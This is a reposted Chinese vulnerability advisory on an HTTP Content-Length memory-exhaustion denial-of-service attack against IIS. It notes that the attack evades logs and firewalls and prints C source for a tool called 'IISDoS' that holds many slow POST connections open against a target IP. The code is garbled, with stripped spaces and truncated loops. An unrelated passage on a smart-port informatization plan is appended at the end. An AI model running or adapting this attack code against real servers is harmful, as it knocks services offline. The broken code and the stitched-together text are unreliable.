[转载]HTTP协议Content Lenth限制漏洞导致拒绝服务攻击

 

[转载]HTTP协议Content Lenth限制漏洞导致拒绝服务攻击

信息来源:邪恶八进制信息安全团队( www.eviloctal.com

漏洞描述:
在HTTP协议中,当使用POST方法时,可以设置ContentLenth来定义需要传送的数据长度,但是HTTP协议中并没有对ContentLenth的大小进行限制,这使得拒绝服务-内存耗尽攻击成为可能。
IIS中,用户POST数据时,系统先将用户上传的数据存放在内存中,当用户完成数据传送(数据的长度达到ContentLenth时),IIS再将这块内存交给特定的

文件或CGI处理;如果用户POST非常大的数据(通过多次数据发送)例如ContentLenth:999999999,在传送完成前,内存不会释放,攻击者可以利用这个缺陷,连续向WEB服务器发送垃圾数据直至WEB服务器内存耗尽。在Web服务器内存不足的时候,我们可以明显的看到系统速度下降、硬盘读写增多(缓存)等现象的出现。

值得注意的是,这种攻击方法基本不会留下痕迹:
首先,由於数据传送不会完成(只要ContentLenth足够大,比如Content-Length:2147483647),所以IIS日无法记录(IIS日是在操作完成後才记录的)

其次,由於进行的是正常的POST操作,而且数据是缓慢送入WEB服务器的,因此防火墙很难发现这样的操作。(除非在防火墙上
对ContentLenth进行监测)

第三,这种攻击对於攻击者的主机来说几乎没有任何负荷,既不会消耗CPU更不会占用内存,最多是占用了部分带宽。

解决方法:
编写相应的Filter,对於过大的ContentLenth进行过滤。

漏洞测试:
以下的程式可以测试你的服务器是否有ContentLenth漏洞:
复制内容到剪贴板
代码:
//IISDoS
//ByShotgun
//shotgun@xici.net

voidIISDos()
{
intnet[2048],Counter=0,K=0,i,j;
structsockaddr_insa;
charsend_data[1024]="POST/default.aspHTTP/1.1/nHost:xici.net/nContent-Type:text/html/nContent-Length:

2147483647/n/r";
char*send_char;
WSADATAWSAData;
strncpy((char*)&sa,"",sizeofsa);
sa.sin_family=AF_INET;
sa.sin_port=htons(80);
sa.sin_addr.s_addr=inet_addr(Attack_IP);
send_char=(char*)malloc(sizeof(char));
for(i=0;i{
if((net[i]=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET)
{
printf("Allocatingscoket%dfalid./ErrorCode:n",i);
exit(0);
}
if((connect(net[i],(structsockaddr*)&sa,sizeofsa))!=0)
{
printf("Connect%dfailed.ErrorCode:%d/n",i,GetLastError());
for(i=0;iWSACleanup();
exit(0);
}
if(send(net[i],send_data,sizeof(send_data),0)==SOCKET_ERROR)
{
printf("Sending%ddatatotheserverfailed1.ErrorCode:%d/n",i,GetLastError());
exit(0);
}
for(j=0;jif(send(net[i],"A",1,0)==SOCKET_ERROR)
{
printf("Sending%dKeepalivedatafailed.ErrorCode:%d/n",i,GetLastError());
exit(0);
}
Sleep(200);
}
while(1)
{
for(i=0;iif(send(net[i],"A",1,0)==SOCKET_ERROR)
{
printf("Sending%ddatafailed.ErrorCode:%d/n",i,GetLastError());
closesocket(net[i]);
WSACleanup();
exit(0);
}
else
{
Counter++;
if(Counter==1024)
{
Counter=0;
K++;
printf("%dKb",K);
}
Sleep(DelayTime);
}
}
for(i=0;iclosesocket(net[i]);
WSACleanup();
}
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在现有省、市港口信息化系统进行有效整合基础上,借鉴新 一代的感知-传输-应用技术体系,实现对码头、船舶、货物、重 大危险源、危险货物装卸过程、航管航运等管理要素的全面感知、 有效传输和按需定制服务,为行政管理人员和相关单位及人员提 供高效的管理辅助,并为公众提供便捷、实时的水运信息服务。 建立信息整合、交换和共享机制,建立健全信息化管理支撑 体系,以及相关标准规范和安全保障体系;按照“绿色循环低碳” 交通的要求,搭建高效、弹性、高可扩展性的基于虚拟技术的信 息基础设施,支撑信息平台低成本运行,实现电子政务建设和服务模式的转变。 实现以感知港口、感知船舶、感知货物为手段,以港航智能 分析、科学决策、高效服务为目的和核心理念,构建“智慧港口”的发展体系。 结合“智慧港口”相关业务工作特点及信息化现状的实际情况,本项目具体建设目标为: 一张图(即GIS 地理信息服务平台) 在建设岸线、港口、港区、码头、泊位等港口主要基础资源图层上,建设GIS 地理信息服务平台,在此基础上依次接入和叠加规划建设、经营、安全、航管等相关业务应用专题数据,并叠 加动态数据,如 AIS/GPS/移动平台数据,逐步建成航运管理处 "一张图"。系统支持扩展框架,方便未来更多应用资源的逐步整合。 现场执法监管系统 基于港口(航管)执法基地建设规划,依托统一的执法区域 管理和数字化监控平台,通过加强对辖区内的监控,结合移动平 台,形成完整的多维路径和信息追踪,真正做到问题能发现、事态能控制、突发问题能解决。 运行监测和辅助决策系统 对区域港口与航运业务日常所需填报及监测的数据经过科 学归纳及分析,采用统一平台,消除重复的填报数据,进行企业 输入和自动录入,并进行系统智能判断,避免填入错误的数据, 输入的数据经过智能组合,自动生成各业务部门所需的数据报 表,包括字段、格式,都可以根据需要进行定制,同时满足扩展 性需要,当有新的业务监测数据表需要产生时,系统将分析新的 需求,将所需字段融合进入日常监测和决策辅助平台的统一平台中,并生成新的所需业务数据监测及决策表。 综合指挥调度系统 建设以港航应急指挥中心为枢纽,以各级管理部门和经营港 口企业为节点,快速调度、信息共享的通信网络,满足应急处置中所需要的信息采集、指挥调度和过程监控等通信保障任务。 设计思路 根据项目的建设目标和“智慧港口”信息化平台的总体框架、 设计思路、建设内容及保障措施,围绕业务协同、信息共享,充 分考虑各航运(港政)管理处内部管理的需求,平台采用“全面 整合、重点补充、突出共享、逐步完善”策略,加强重点区域或 运输通道交通基础设施、运载装备、运行环境的监测监控,完善 运行协调、应急处置通信手段,促进跨区域、跨部门信息共享和业务协同。 以“统筹协调、综合监管”为目标,以提供综合、动态、实 时、准确、实用的安全畅通和应急数据共享为核心,围绕“保畅通、抓安全、促应急"等实际需求来建设智慧港口信息化平台。 系统充分整合和利用航运管理处现有相关信息资源,以地理 信息技术、网络视频技术、互联网技术、移动通信技术、云计算 技术为支撑,结合航运管理处专网与行业数据交换平台,构建航 运管理处与各部门之间智慧、畅通、安全、高效、绿色低碳的智 慧港口信息化平台。 系统充分考虑航运管理处安全法规及安全职责今后的变化 与发展趋势,应用目前主流的、成熟的应用技术,内联外引,优势互补,使系统建设具备良好的开放性、扩展性、可维护性。

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